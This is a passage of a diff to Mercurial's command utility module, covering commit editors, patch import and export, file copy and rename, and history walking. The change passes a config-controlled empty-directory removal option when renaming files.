     otherwise '.normal' is appended.
     """
     if isinstance(ctxorbool, bool):
         if ctxorbool:
             return baseformname + ".merge"
     elif 1 < len(ctxorbool.parents()):
         return baseformname + ".merge"
 
     return baseformname + ".normal"
 
 def getcommiteditor(edit=False, finishdesc=None, extramsg=None,
                     editform='', **opts):
     """get appropriate commit message editor according to '--edit' option
 
     'finishdesc' is a function to be called with edited commit message
     (= 'description' of the new changeset) just after editing, but
     before checking empty-ness. It should return actual text to be
     stored into history. This allows to change description before
     storing.
 
     'extramsg' is a extra message to be shown in the editor instead of
     'Leave message empty to abort commit' line. 'HG: ' prefix and EOL
     is automatically added.
 
     'editform' is a dot-separated list of names, to distinguish
     the purpose of commit text editing.
 
     'getcommiteditor' returns 'commitforceeditor' regardless of
     'edit', if one of 'finishdesc' or 'extramsg' is specified, because
     they are specific for usage in MQ.
     """
     if edit or finishdesc or extramsg:
         return lambda r, c, s: commitforceeditor(r, c, s,
                                                  finishdesc=finishdesc,
                                                  extramsg=extramsg,
                                                  editform=editform)
     elif editform:
         return lambda r, c, s: commiteditor(r, c, s, editform=editform)
     else:
         return commiteditor
 
 def _escapecommandtemplate(tmpl):
     parts = []
     for typ, start, end in templater.scantemplate(tmpl, raw=True):
         if typ == b'string':
             parts.append(stringutil.escapestr(tmpl[start:end]))
         else:
             parts.append(tmpl[start:end])
     return b''.join(parts)
 
 def rendercommandtemplate(ui, tmpl, props):
     r"""Expand a literal template 'tmpl' in a way suitable for command line
 
     '\' in outermost string is not taken as an escape character because it
     is a directory separator on Windows.
 
     >>> from . import ui as uimod
     >>> ui = uimod.ui()
     >>> rendercommandtemplate(ui, b'c:\\{path}', {b'path': b'foo'})
     'c:\\foo'
     >>> rendercommandtemplate(ui, b'{"c:\\{path}"}', {'path': b'foo'})
     'c:{path}'
     """
     if not tmpl:
         return tmpl
     t = formatter.maketemplater(ui, _escapecommandtemplate(tmpl))
     return t.renderdefault(props)
 
 def rendertemplate(ctx, tmpl, props=None):
     """Expand a literal template 'tmpl' byte-string against one changeset
 
     Each props item must be a stringify-able value or a callable returning
     such value, i.e. no bare list nor dict should be passed.
     """
     repo = ctx.repo()
     tres = formatter.templateresources(repo.ui, repo)
     t = formatter.maketemplater(repo.ui, tmpl, defaults=templatekw.keywords,
                                 resources=tres)
     mapping = {'ctx': ctx}
     if props:
         mapping.update(props)
     return t.renderdefault(mapping)
 
 def _buildfntemplate(pat, total=None, seqno=None, revwidth=None, pathname=None):
     r"""Convert old-style filename format string to template string
 
     >>> _buildfntemplate(b'foo-%b-%n.patch', seqno=0)
     'foo-{reporoot|basename}-{seqno}.patch'
     >>> _buildfntemplate(b'%R{tags % "{tag}"}%H')
     '{rev}{tags % "{tag}"}{node}'
 
     '\' in outermost strings has to be escaped because it is a directory
     separator on Windows:
 
     >>> _buildfntemplate(b'c:\\tmp\\%R\\%n.patch', seqno=0)
     'c:\\\\tmp\\\\{rev}\\\\{seqno}.patch'
     >>> _buildfntemplate(b'\\\\foo\\bar.patch')
     '\\\\\\\\foo\\\\bar.patch'
     >>> _buildfntemplate(b'\\{tags % "{tag}"}')
     '\\\\{tags % "{tag}"}'
 
     but inner strings follow the template rules (i.e. '\' is taken as an
     escape character):
 
     >>> _buildfntemplate(br'{"c:\tmp"}', seqno=0)
     '{"c:\\tmp"}'
     """
     expander = {
         b'H': b'{node}',
         b'R': b'{rev}',
         b'h': b'{node|short}',
         b'm': br'{sub(r"[^\w]", "_", desc|firstline)}',
         b'r': b'{if(revwidth, pad(rev, revwidth, "0", left=True), rev)}',
         b'%': b'%',
         b'b': b'{reporoot|basename}',
     }
     if total is not None:
         expander[b'N'] = b'{total}'
     if seqno is not None:
         expander[b'n'] = b'{seqno}'
     if total is not None and seqno is not None:
         expander[b'n'] = b'{pad(seqno, total|stringify|count, "0", left=True)}'
     if pathname is not None:
         expander[b's'] = b'{pathname|basename}'
         expander[b'd'] = b'{if(pathname|dirname, pathname|dirname, ".")}'
         expander[b'p'] = b'{pathname}'
 
     newname = []
     for typ, start, end in templater.scantemplate(pat, raw=True):
         if typ != b'string':
             newname.append(pat[start:end])
             continue
         i = start
         while i < end:
             n = pat.find(b'%', i, end)
             if n < 0:
                 newname.append(stringutil.escapestr(pat[i:end]))
                 break
             newname.append(stringutil.escapestr(pat[i:n]))
             if n + 2 > end:
                 raise error.Abort(_("incomplete format spec in output "
                                     "filename"))
             c = pat[n + 1:n + 2]
             i = n + 2
             try:
                 newname.append(expander[c])
             except KeyError:
                 raise error.Abort(_("invalid format spec '%%%s' in output "
                                     "filename") % c)
     return ''.join(newname)
 
 def makefilename(ctx, pat, **props):
     if not pat:
         return pat
     tmpl = _buildfntemplate(pat, **props)
     # BUG: alias expansion shouldn't be made against template fragments
     # rewritten from %-format strings, but we have no easy way to partially
     # disable the expansion.
     return rendertemplate(ctx, tmpl, pycompat.byteskwargs(props))
 
 def isstdiofilename(pat):
     """True if the given pat looks like a filename denoting stdin/stdout"""
     return not pat or pat == '-'
 
 class _unclosablefile(object):
     def __init__(self, fp):
         self._fp = fp
 
     def close(self):
         pass
 
     def __iter__(self):
         return iter(self._fp)
 
     def __getattr__(self, attr):
         return getattr(self._fp, attr)
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_value, exc_tb):
         pass
 
 def makefileobj(ctx, pat, mode='wb', **props):
     writable = mode not in ('r', 'rb')
 
     if isstdiofilename(pat):
         repo = ctx.repo()
         if writable:
             fp = repo.ui.fout
         else:
             fp = repo.ui.fin
         return _unclosablefile(fp)
     fn = makefilename(ctx, pat, **props)
     return open(fn, mode)
 
 def openrevlog(repo, cmd, file_, opts):
     """opens the changelog, manifest, a filelog or a given revlog"""
     cl = opts['changelog']
     mf = opts['manifest']
     dir = opts['dir']
     msg = None
     if cl and mf:
         msg = _('cannot specify --changelog and --manifest at the same time')
     elif cl and dir:
         msg = _('cannot specify --changelog and --dir at the same time')
     elif cl or mf or dir:
         if file_:
             msg = _('cannot specify filename with --changelog or --manifest')
         elif not repo:
             msg = _('cannot specify --changelog or --manifest or --dir '
                     'without a repository')
     if msg:
         raise error.Abort(msg)
 
     r = None
     if repo:
         if cl:
             r = repo.unfiltered().changelog
         elif dir:
             if 'treemanifest' not in repo.requirements:
                 raise error.Abort(_("--dir can only be used on repos with "
                                    "treemanifest enabled"))
             if not dir.endswith('/'):
                 dir = dir + '/'
             dirlog = repo.manifestlog._revlog.dirlog(dir)
             if len(dirlog):
                 r = dirlog
         elif mf:
             r = repo.manifestlog._revlog
         elif file_:
             filelog = repo.file(file_)
             if len(filelog):
                 r = filelog
     if not r:
         if not file_:
             raise error.CommandError(cmd, _('invalid arguments'))
         if not os.path.isfile(file_):
             raise error.Abort(_("revlog '%s' not found") % file_)
         r = revlog.revlog(vfsmod.vfs(pycompat.getcwd(), audit=False),
                           file_[:-2] + ".i")
     return r
 
 def copy(ui, repo, pats, opts, rename=False):
     # called with the repo lock held
     #
     # hgsep => pathname that uses "/" to separate directories
     # ossep => pathname that uses os.sep to separate directories
     cwd = repo.getcwd()
     targets = {}
     after = opts.get("after")
     dryrun = opts.get("dry_run")
     wctx = repo[None]
 
     def walkpat(pat):
         srcs = []
         if after:
             badstates = '?'
         else:
             badstates = '?r'
         m = scmutil.match(wctx, [pat], opts, globbed=True)
         for abs in wctx.walk(m):
             state = repo.dirstate[abs]
             rel = m.rel(abs)
             exact = m.exact(abs)
             if state in badstates:
                 if exact and state == '?':
                     ui.warn(_('%s: not copying - file is not managed\n') % rel)
                 if exact and state == 'r':
                     ui.warn(_('%s: not copying - file has been marked for'
                               ' remove\n') % rel)
                 continue
             # abs: hgsep
             # rel: ossep
             srcs.append((abs, rel, exact))
         return srcs
 
     # abssrc: hgsep
     # relsrc: ossep
     # otarget: ossep
     def copyfile(abssrc, relsrc, otarget, exact):
         abstarget = pathutil.canonpath(repo.root, cwd, otarget)
         if '/' in abstarget:
             # We cannot normalize abstarget itself, this would prevent
             # case only renames, like a => A.
             abspath, absname = abstarget.rsplit('/', 1)
             abstarget = repo.dirstate.normalize(abspath) + '/' + absname
         reltarget = repo.pathto(abstarget, cwd)
         target = repo.wjoin(abstarget)
         src = repo.wjoin(abssrc)
         state = repo.dirstate[abstarget]
 
         scmutil.checkportable(ui, abstarget)
 
         # check for collisions
         prevsrc = targets.get(abstarget)
         if prevsrc is not None:
             ui.warn(_('%s: not overwriting - %s collides with %s\n') %
                     (reltarget, repo.pathto(abssrc, cwd),
                      repo.pathto(prevsrc, cwd)))
             return
 
         # check for overwrites
         exists = os.path.lexists(target)
         samefile = False
         if exists and abssrc != abstarget:
             if (repo.dirstate.normalize(abssrc) ==
                 repo.dirstate.normalize(abstarget)):
                 if not rename:
                     ui.warn(_("%s: can't copy - same file\n") % reltarget)
                     return
                 exists = False
                 samefile = True
 
         if not after and exists or after and state in 'mn':
             if not opts['force']:
                 if state in 'mn':
                     msg = _('%s: not overwriting - file already committed\n')
                     if after:
                         flags = '--after --force'
                     else:
                         flags = '--force'
                     if rename:
                         hint = _('(hg rename %s to replace the file by '
                                  'recording a rename)\n') % flags
                     else:
                         hint = _('(hg copy %s to replace the file by '
                                  'recording a copy)\n') % flags
                 else:
                     msg = _('%s: not overwriting - file exists\n')
                     if rename:
                         hint = _('(hg rename --after to record the rename)\n')
                     else:
                         hint = _('(hg copy --after to record the copy)\n')
                 ui.warn(msg % reltarget)
                 ui.warn(hint)
                 return
 
         if after:
             if not exists:
                 if rename:
                     ui.warn(_('%s: not recording move - %s does not exist\n') %
                             (relsrc, reltarget))
                 else:
                     ui.warn(_('%s: not recording copy - %s does not exist\n') %
                             (relsrc, reltarget))
                 return
         elif not dryrun:
             try:
                 if exists:
                     os.unlink(target)
                 targetdir = os.path.dirname(target) or '.'
                 if not os.path.isdir(targetdir):
                     os.makedirs(targetdir)
                 if samefile:
                     tmp = target + "~hgrename"
                     os.rename(src, tmp)
                     os.rename(tmp, target)
                 else:
                     # Preserve stat info on renames, not on copies; this matches
                     # Linux CLI behavior.
                     util.copyfile(src, target, copystat=rename)
                 srcexists = True
             except IOError as inst:
                 if inst.errno == errno.ENOENT:
                     ui.warn(_('%s: deleted in working directory\n') % relsrc)
                     srcexists = False
                 else:
                     ui.warn(_('%s: cannot copy - %s\n') %
                             (relsrc, encoding.strtolocal(inst.strerror)))
                     return True # report a failure
 
         if ui.verbose or not exact:
             if rename:
                 ui.status(_('moving %s to %s\n') % (relsrc, reltarget))
             else:
                 ui.status(_('copying %s to %s\n') % (relsrc, reltarget))
 
         targets[abstarget] = abssrc
 
         # fix up dirstate
         scmutil.dirstatecopy(ui, repo, wctx, abssrc, abstarget,
                              dryrun=dryrun, cwd=cwd)
         if rename and not dryrun:
             if not after and srcexists and not samefile:
-                repo.wvfs.unlinkpath(abssrc)
+                rmdir = repo.ui.configbool('experimental', 'removeemptydirs')
+                repo.wvfs.unlinkpath(abssrc, rmdir=rmdir)
             wctx.forget([abssrc])
 
     # pat: ossep
     # dest ossep
     # srcs: list of (hgsep, hgsep, ossep, bool)
     # return: function that takes hgsep and returns ossep
     def targetpathfn(pat, dest, srcs):
         if os.path.isdir(pat):
             abspfx = pathutil.canonpath(repo.root, cwd, pat)
             abspfx = util.localpath(abspfx)
             if destdirexists:
                 striplen = len(os.path.split(abspfx)[0])
             else:
                 striplen = len(abspfx)
             if striplen:
                 striplen += len(pycompat.ossep)
             res = lambda p: os.path.join(dest, util.localpath(p)[striplen:])
         elif destdirexists:
             res = lambda p: os.path.join(dest,
                                          os.path.basename(util.localpath(p)))
         else:
             res = lambda p: dest
         return res
 
     # pat: ossep
     # dest ossep
     # srcs: list of (hgsep, hgsep, ossep, bool)
     # return: function that takes hgsep and returns ossep
     def targetpathafterfn(pat, dest, srcs):
         if matchmod.patkind(pat):
             # a mercurial pattern
             res = lambda p: os.path.join(dest,
                                          os.path.basename(util.localpath(p)))
         else:
             abspfx = pathutil.canonpath(repo.root, cwd, pat)
             if len(abspfx) < len(srcs[0][0]):
                 # A directory. Either the target path contains the last
                 # component of the source path or it does not.
                 def evalpath(striplen):
                     score = 0
                     for s in srcs:
                         t = os.path.join(dest, util.localpath(s[0])[striplen:])
                         if os.path.lexists(t):
                             score += 1
                     return score
 
                 abspfx = util.localpath(abspfx)
                 striplen = len(abspfx)
                 if striplen:
                     striplen += len(pycompat.ossep)
                 if os.path.isdir(os.path.join(dest, os.path.split(abspfx)[1])):
                     score = evalpath(striplen)
                     striplen1 = len(os.path.split(abspfx)[0])
                     if striplen1:
                         striplen1 += len(pycompat.ossep)
                     if evalpath(striplen1) > score:
                         striplen = striplen1
                 res = lambda p: os.path.join(dest,
                                              util.localpath(p)[striplen:])
             else:
                 # a file
                 if destdirexists:
                     res = lambda p: os.path.join(dest,
                                         os.path.basename(util.localpath(p)))
                 else:
                     res = lambda p: dest
         return res
 
     pats = scmutil.expandpats(pats)
     if not pats:
         raise error.Abort(_('no source or destination specified'))
     if len(pats) == 1:
         raise error.Abort(_('no destination specified'))
     dest = pats.pop()
     destdirexists = os.path.isdir(dest) and not os.path.islink(dest)
     if not destdirexists:
         if len(pats) > 1 or matchmod.patkind(pats[0]):
             raise error.Abort(_('with multiple sources, destination must be an '
                                'existing directory'))
         if util.endswithsep(dest):
             raise error.Abort(_('destination %s is not a directory') % dest)
 
     tfn = targetpathfn
     if after:
         tfn = targetpathafterfn
     copylist = []
     for pat in pats:
         srcs = walkpat(pat)
         if not srcs:
             continue
         copylist.append((tfn(pat, dest, srcs), srcs))
     if not copylist:
         raise error.Abort(_('no files to copy'))
 
     errors = 0
     for targetpath, srcs in copylist:
         for abssrc, relsrc, exact in srcs:
             if copyfile(abssrc, relsrc, targetpath(abssrc), exact):
                 errors += 1
 
     if errors:
         ui.warn(_('(consider using --after)\n'))
 
     return errors != 0
 
 ## facility to let extension process additional data into an import patch
 # list of identifier to be executed in order
 extrapreimport = []  # run before commit
 extrapostimport = [] # run after commit
 # mapping from identifier to actual import function
 #
 # 'preimport' are run before the commit is made and are provided the following
 # arguments:
 # - repo: the localrepository instance,
 # - patchdata: data extracted from patch header (cf m.patch.patchheadermap),
 # - extra: the future extra dictionary of the changeset, please mutate it,
 # - opts: the import options.
 # XXX ideally, we would just pass an ctx ready to be computed, that would allow
 # mutation of in memory commit and more. Feel free to rework the code to get
 # there.
 extrapreimportmap = {}
 # 'postimport' are run after the commit is made and are provided the following
 # argument:
 # - ctx: the changectx created by import.
 extrapostimportmap = {}
 
 def tryimportone(ui, repo, patchdata, parents, opts, msgs, updatefunc):
     """Utility function used by commands.import to import a single patch
 
     This function is explicitly defined here to help the evolve extension to
     wrap this part of the import logic.
 
     The API is currently a bit ugly because it a simple code translation from
     the import command. Feel free to make it better.
 
     :patchdata: a dictionary containing parsed patch data (such as from
                 ``patch.extract()``)
     :parents: nodes that will be parent of the created commit
     :opts: the full dict of option passed to the import command
     :msgs: list to save commit message to.
            (used in case we need to save it when failing)
     :updatefunc: a function that update a repo to a given node
                  updatefunc(<repo>, <node>)
     """
     # avoid cycle context -> subrepo -> cmdutil
     from . import context
 
     tmpname = patchdata.get('filename')
     message = patchdata.get('message')
     user = opts.get('user') or patchdata.get('user')
     date = opts.get('date') or patchdata.get('date')
     branch = patchdata.get('branch')
     nodeid = patchdata.get('nodeid')
     p1 = patchdata.get('p1')
     p2 = patchdata.get('p2')
 
     nocommit = opts.get('no_commit')
     importbranch = opts.get('import_branch')
     update = not opts.get('bypass')
     strip = opts["strip"]
     prefix = opts["prefix"]
     sim = float(opts.get('similarity') or 0)
 
     if not tmpname:
         return None, None, False
 
     rejects = False
 
     cmdline_message = logmessage(ui, opts)
     if cmdline_message:
         # pickup the cmdline msg
         message = cmdline_message
     elif message:
         # pickup the patch msg
         message = message.strip()
     else:
         # launch the editor
         message = None
     ui.debug('message:\n%s\n' % (message or ''))
 
     if len(parents) == 1:
         parents.append(repo[nullid])
     if opts.get('exact'):
         if not nodeid or not p1:
             raise error.Abort(_('not a Mercurial patch'))
         p1 = repo[p1]
         p2 = repo[p2 or nullid]
     elif p2:
         try:
             p1 = repo[p1]
             p2 = repo[p2]
             # Without any options, consider p2 only if the
             # patch is being applied on top of the recorded
             # first parent.
             if p1 != parents[0]:
                 p1 = parents[0]
                 p2 = repo[nullid]
         except error.RepoError:
             p1, p2 = parents
         if p2.node() == nullid:
             ui.warn(_("warning: import the patch as a normal revision\n"
                       "(use --exact to import the patch as a merge)\n"))
     else:
         p1, p2 = parents
 
     n = None
     if update:
         if p1 != parents[0]:
             updatefunc(repo, p1.node())
         if p2 != parents[1]:
             repo.setparents(p1.node(), p2.node())
 
         if opts.get('exact') or importbranch:
             repo.dirstate.setbranch(branch or 'default')
 
         partial = opts.get('partial', False)
         files = set()
         try:
             patch.patch(ui, repo, tmpname, strip=strip, prefix=prefix,
                         files=files, eolmode=None, similarity=sim / 100.0)
         except error.PatchError as e:
             if not partial:
                 raise error.Abort(pycompat.bytestr(e))
             if partial:
                 rejects = True
 
         files = list(files)
         if nocommit:
             if message:
                 msgs.append(message)
         else:
             if opts.get('exact') or p2:
                 # If you got here, you either use --force and know what
                 # you are doing or used --exact or a merge patch while
                 # being updated to its first parent.
                 m = None
             else:
                 m = scmutil.matchfiles(repo, files or [])
             editform = mergeeditform(repo[None], 'import.normal')
             if opts.get('exact'):
                 editor = None
             else:
                 editor = getcommiteditor(editform=editform,
                                          **pycompat.strkwargs(opts))
             extra = {}
             for idfunc in extrapreimport:
                 extrapreimportmap[idfunc](repo, patchdata, extra, opts)
             overrides = {}
             if partial:
                 overrides[('ui', 'allowemptycommit')] = True
             with repo.ui.configoverride(overrides, 'import'):
                 n = repo.commit(message, user,
                                 date, match=m,
                                 editor=editor, extra=extra)
                 for idfunc in extrapostimport:
                     extrapostimportmap[idfunc](repo[n])
     else:
         if opts.get('exact') or importbranch:
             branch = branch or 'default'
         else:
             branch = p1.branch()
         store = patch.filestore()
         try:
             files = set()
             try:
                 patch.patchrepo(ui, repo, p1, store, tmpname, strip, prefix,
                                 files, eolmode=None)
             except error.PatchError as e:
                 raise error.Abort(stringutil.forcebytestr(e))
             if opts.get('exact'):
                 editor = None
             else:
                 editor = getcommiteditor(editform='import.bypass')
             memctx = context.memctx(repo, (p1.node(), p2.node()),
                                     message,
                                     files=files,
                                     filectxfn=store,
                                     user=user,
                                     date=date,
                                     branch=branch,
                                     editor=editor)
             n = memctx.commit()
         finally:
             store.close()
     if opts.get('exact') and nocommit:
         # --exact with --no-commit is still useful in that it does merge
         # and branch bits
         ui.warn(_("warning: can't check exact import with --no-commit\n"))
     elif opts.get('exact') and (not n or hex(n) != nodeid):
         raise error.Abort(_('patch is damaged or loses information'))
     msg = _('applied to working directory')
     if n:
         # i18n: refers to a short changeset id
         msg = _('created %s') % short(n)
     return msg, n, rejects
 
 # facility to let extensions include additional data in an exported patch
 # list of identifiers to be executed in order
 extraexport = []
 # mapping from identifier to actual export function
 # function as to return a string to be added to the header or None
 # it is given two arguments (sequencenumber, changectx)
 extraexportmap = {}
 
 def _exportsingle(repo, ctx, fm, match, switch_parent, seqno, diffopts):
     node = scmutil.binnode(ctx)
     parents = [p.node() for p in ctx.parents() if p]
     branch = ctx.branch()
     if switch_parent:
         parents.reverse()
 
     if parents:
         prev = parents[0]
     else:
         prev = nullid
 
     fm.context(ctx=ctx)
     fm.plain('# HG changeset patch\n')
     fm.write('user', '# User %s\n', ctx.user())
     fm.plain('# Date %d %d\n' % ctx.date())
     fm.write('date', '#      %s\n', fm.formatdate(ctx.date()))
     fm.condwrite(branch and branch != 'default',
                  'branch', '# Branch %s\n', branch)
     fm.write('node', '# Node ID %s\n', hex(node))
     fm.plain('# Parent  %s\n' % hex(prev))
     if len(parents) > 1:
         fm.plain('# Parent  %s\n' % hex(parents[1]))
     fm.data(parents=fm.formatlist(pycompat.maplist(hex, parents), name='node'))
 
     # TODO: redesign extraexportmap function to support formatter
     for headerid in extraexport:
         header = extraexportmap[headerid](seqno, ctx)
         if header is not None:
             fm.plain('# %s\n' % header)
 
     fm.write('desc', '%s\n', ctx.description().rstrip())
     fm.plain('\n')
 
     if fm.isplain():
         chunkiter = patch.diffui(repo, prev, node, match, opts=diffopts)
         for chunk, label in chunkiter:
             fm.plain(chunk, label=label)
     else:
         chunkiter = patch.diff(repo, prev, node, match, opts=diffopts)
         # TODO: make it structured?
         fm.data(diff=b''.join(chunkiter))
 
 def _exportfile(repo, revs, fm, dest, switch_parent, diffopts, match):
     """Export changesets to stdout or a single file"""
     for seqno, rev in enumerate(revs, 1):
         ctx = repo[rev]
         if not dest.startswith('<'):
             repo.ui.note("%s\n" % dest)
         fm.startitem()
         _exportsingle(repo, ctx, fm, match, switch_parent, seqno, diffopts)
 
 def _exportfntemplate(repo, revs, basefm, fntemplate, switch_parent, diffopts,
                       match):
     """Export changesets to possibly multiple files"""
     total = len(revs)
     revwidth = max(len(str(rev)) for rev in revs)
     filemap = util.sortdict()  # filename: [(seqno, rev), ...]
 
     for seqno, rev in enumerate(revs, 1):
         ctx = repo[rev]
         dest = makefilename(ctx, fntemplate,
                             total=total, seqno=seqno, revwidth=revwidth)
         filemap.setdefault(dest, []).append((seqno, rev))
 
     for dest in filemap:
         with formatter.maybereopen(basefm, dest) as fm:
             repo.ui.note("%s\n" % dest)
             for seqno, rev in filemap[dest]:
                 fm.startitem()
                 ctx = repo[rev]
                 _exportsingle(repo, ctx, fm, match, switch_parent, seqno,
                               diffopts)
 
 def export(repo, revs, basefm, fntemplate='hg-%h.patch', switch_parent=False,
            opts=None, match=None):
     '''export changesets as hg patches
 
     Args:
       repo: The repository from which we're exporting revisions.
       revs: A list of revisions to export as revision numbers.
       basefm: A formatter to which patches should be written.
       fntemplate: An optional string to use for generating patch file names.
       switch_parent: If True, show diffs against second parent when not nullid.
                      Default is false, which always shows diff against p1.
       opts: diff options to use for generating the patch.
       match: If specified, only export changes to files matching this matcher.
 
     Returns:
       Nothing.
 
     Side Effect:
       "HG Changeset Patch" data is emitted to one of the following
       destinations:
         fntemplate specified: Each rev is written to a unique file named using
                             the given template.
         Otherwise: All revs will be written to basefm.
     '''
     scmutil.prefetchfiles(repo, revs, match)
 
     if not fntemplate:
         _exportfile(repo, revs, basefm, '<unnamed>', switch_parent, opts, match)
     else:
         _exportfntemplate(repo, revs, basefm, fntemplate, switch_parent, opts,
                           match)
 
 def exportfile(repo, revs, fp, switch_parent=False, opts=None, match=None):
     """Export changesets to the given file stream"""
     scmutil.prefetchfiles(repo, revs, match)
 
     dest = getattr(fp, 'name', '<unnamed>')
     with formatter.formatter(repo.ui, fp, 'export', {}) as fm:
         _exportfile(repo, revs, fm, dest, switch_parent, opts, match)
 
 def showmarker(fm, marker, index=None):
     """utility function to display obsolescence marker in a readable way
 
     To be used by debug function."""
     if index is not None:
         fm.write('index', '%i ', index)
     fm.write('prednode', '%s ', hex(marker.prednode()))
     succs = marker.succnodes()
     fm.condwrite(succs, 'succnodes', '%s ',
                  fm.formatlist(map(hex, succs), name='node'))
     fm.write('flag', '%X ', marker.flags())
     parents = marker.parentnodes()
     if parents is not None:
         fm.write('parentnodes', '{%s} ',
                  fm.formatlist(map(hex, parents), name='node', sep=', '))
     fm.write('date', '(%s) ', fm.formatdate(marker.date()))
     meta = marker.metadata().copy()
     meta.pop('date', None)
     smeta = util.rapply(pycompat.maybebytestr, meta)
     fm.write('metadata', '{%s}', fm.formatdict(smeta, fmt='%r: %r', sep=', '))
     fm.plain('\n')
 
 def finddate(ui, repo, date):
     """Find the tipmost changeset that matches the given date spec"""
 
     df = dateutil.matchdate(date)
     m = scmutil.matchall(repo)
     results = {}
 
     def prep(ctx, fns):
         d = ctx.date()
         if df(d[0]):
             results[ctx.rev()] = d
 
     for ctx in walkchangerevs(repo, m, {'rev': None}, prep):
         rev = ctx.rev()
         if rev in results:
             ui.status(_("found revision %s from %s\n") %
                       (rev, dateutil.datestr(results[rev])))
             return '%d' % rev
 
     raise error.Abort(_("revision matching date not found"))
 
 def increasingwindows(windowsize=8, sizelimit=512):
     while True:
         yield windowsize
         if windowsize < sizelimit:
             windowsize *= 2
 
 def _walkrevs(repo, opts):
     # Default --rev value depends on --follow but --follow behavior
     # depends on revisions resolved from --rev...
     follow = opts.get('follow') or opts.get('follow_first')
     if opts.get('rev'):
         revs = scmutil.revrange(repo, opts['rev'])
     elif follow and repo.dirstate.p1() == nullid:
         revs = smartset.baseset()
     elif follow:
         revs = repo.revs('reverse(:.)')
     else:
         revs = smartset.spanset(repo)
         revs.reverse()
     return revs
 
 class FileWalkError(Exception):
     pass
 
 def walkfilerevs(repo, match, follow, revs, fncache):
     '''Walks the file history for the matched files.
 
     Returns the changeset revs that are involved in the file history.
 
     Throws FileWalkError if the file history can't be walked using
     filelogs alone.
     '''
     wanted = set()
     copies = []
     minrev, maxrev = min(revs), max(revs)
     def filerevgen(filelog, last):
         """
         Only files, no patterns.  Check the history of each file.
 
         Examines filelog entries within minrev, maxrev linkrev range
         Returns an iterator yielding (linkrev, parentlinkrevs, copied)
         tuples in backwards order
         """
         cl_count = len(repo)
         revs = []
         for j in xrange(0, last + 1):
             linkrev = filelog.linkrev(j)
             if linkrev < minrev:
                 continue
             # only yield rev for which we have the changelog, it can
             # happen while doing "hg log" during a pull or commit
             if linkrev >= cl_count:
                 break
 
             parentlinkrevs = []
             for p in filelog.parentrevs(j):
                 if p != nullrev:
                     parentlinkrevs.append(filelog.linkrev(p))
             n = filelog.node(j)
             revs.append((linkrev, parentlinkrevs,
                          follow and filelog.renamed(n)))
 
         return reversed(revs)
     def iterfiles():
         pctx = repo['.']
         for filename in match.files():
             if follow:
                 if filename not in pctx:
                     raise error.Abort(_('cannot follow file not in parent '
                                        'revision: "%s"') % filename)
                 yield filename, pctx[filename].filenode()
             else:
                 yield filename, None
         for filename_node in copies:
             yield filename_node
 
     for file_, node in iterfiles():
         filelog = repo.file(file_)
         if not len(filelog):
             if node is None:
                 # A zero count may be a directory or deleted file, so
                 # try to find matching entries on the slow path.
                 if follow:
                     raise error.Abort(
                         _('cannot follow nonexistent file: "%s"') % file_)
                 raise FileWalkError("Cannot walk via filelog")
             else:
                 continue
 
         if node is None:
             last = len(filelog) - 1
         else:
             last = filelog.rev(node)
 
         # keep track of all ancestors of the file
         ancestors = {filelog.linkrev(last)}
 
         # iterate from latest to oldest revision
         for rev, flparentlinkrevs, copied in filerevgen(filelog, last):
             if not follow:
                 if rev > maxrev:
                     continue
             else:
                 # Note that last might not be the first interesting
                 # rev to us:
                 # if the file has been changed after maxrev, we'll
                 # have linkrev(last) > maxrev, and we still need
                 # to explore the file graph
                 if rev not in ancestors:
                     continue
                 # XXX insert 1327 fix here
                 if flparentlinkrevs:
                     ancestors.update(flparentlinkrevs)
 
             fncache.setdefault(rev, []).append(file_)
             wanted.add(rev)
             if copied:
                 copies.append(copied)
 
     return wanted
 
 class _followfilter(object):
     def __init__(self, repo, onlyfirst=False):
         self.repo = repo
         self.startrev = nullrev
         self.roots = set()
         self.onlyfirst = onlyfirst
 
     def match(self, rev):
         def realparents(rev):
             if self.onlyfirst:
                 return self.repo.changelog.parentrevs(rev)[0:1]
             else:
                 return filter(lambda x: x != nullrev,
                               self.repo.changelog.parentrevs(rev))
 
         if self.startrev == nullrev:
             self.startrev = rev
             return True
 
         if rev > self.startrev:
             # forward: all descendants
             if not self.roots:
                 self.roots.add(self.startrev)
             for parent in realparents(rev):
                 if parent in self.roots:
                     self.roots.add(rev)
                     return True
         else:
             # backwards: all parents
             if not self.roots:
                 self.roots.update(realparents(self.startrev))
             if rev in self.roots:
                 self.roots.remove(rev)
                 self.roots.update(realparents(rev))
                 return True
 
         return False
 
 def walkchangerevs(repo, match, opts, prepare):
     '''Iterate over files and the revs in which they changed.
 
     Callers most commonly need to iterate backwards over the history
     in which they are interested. Doing so has awful (quadratic-looking)
     performance, so we use iterators in a "windowed" way.
 
     We walk a window of revisions in the desired order.  Within the
     window, we first walk forwards to gather data, then in the desired
     order (usually backwards) to display it.
 
     This function returns an iterator yielding contexts. Before
     yielding each context, the iterator will first call the prepare
     function on each context in the window in forward order.'''
 
     allfiles = opts.get('allfiles')
     follow = opts.get('follow') or opts.get('follow_first')
     revs = _walkrevs(repo, opts)
     if not revs:
         return []
     if allfiles and len(revs) > 1:
         raise error.Abort(_("multiple revisions not supported with --allfiles"))
     wanted = set()
     slowpath = match.anypats() or (not match.always() and opts.get('removed'))
     fncache = {}
     change = repo.__getitem__
 
     # First step is to fill wanted, the set of revisions that we want to yield.
     # When it does not induce extra cost, we also fill fncache for revisions in
     # wanted: a cache of filenames that were changed (ctx.files()) and that
     # match the file filtering conditions.
 
     if match.always():
         # No files, no patterns.  Display all revs.
         wanted = revs
     elif not slowpath:
         # We only have to read through the filelog to find wanted revisions
 
         try:
             wanted = walkfilerevs(repo, match, follow, revs, fncache)
         except FileWalkError:
             slowpath = True
 
             # We decided to fall back to the slowpath because at least one
             # of the paths was not a file. Check to see if at least one of them
             # existed in history, otherwise simply return
             for path in match.files():
                 if path == '.' or path in repo.store:
                     break
             else:
                 return []
 
     if slowpath:
         # We have to read the changelog to match filenames against
         # changed files
 
         if follow:
             raise error.Abort(_('can only follow copies/renames for explicit '
                                'filenames'))
 
         # The slow path checks files modified in every changeset.
         # This is really slow on large repos, so compute the set lazily.
         class lazywantedset(object):
             def __init__(self):
                 self.set = set()
                 self.revs = set(revs)
 
             # No need to worry about locality here because it will be accessed
             # in the same order as the increasing window below.
             def __contains__(self, value):
                 if value in self.set:
                     return True
                 elif not value in self.revs:
                     return False
                 else:
                     self.revs.discard(value)
                     ctx = change(value)
                     matches = [f for f in ctx.files() if match(f)]
                     if matches:
                         fncache[value] = matches
                         self.set.add(value)
                         return True
                     return False
 
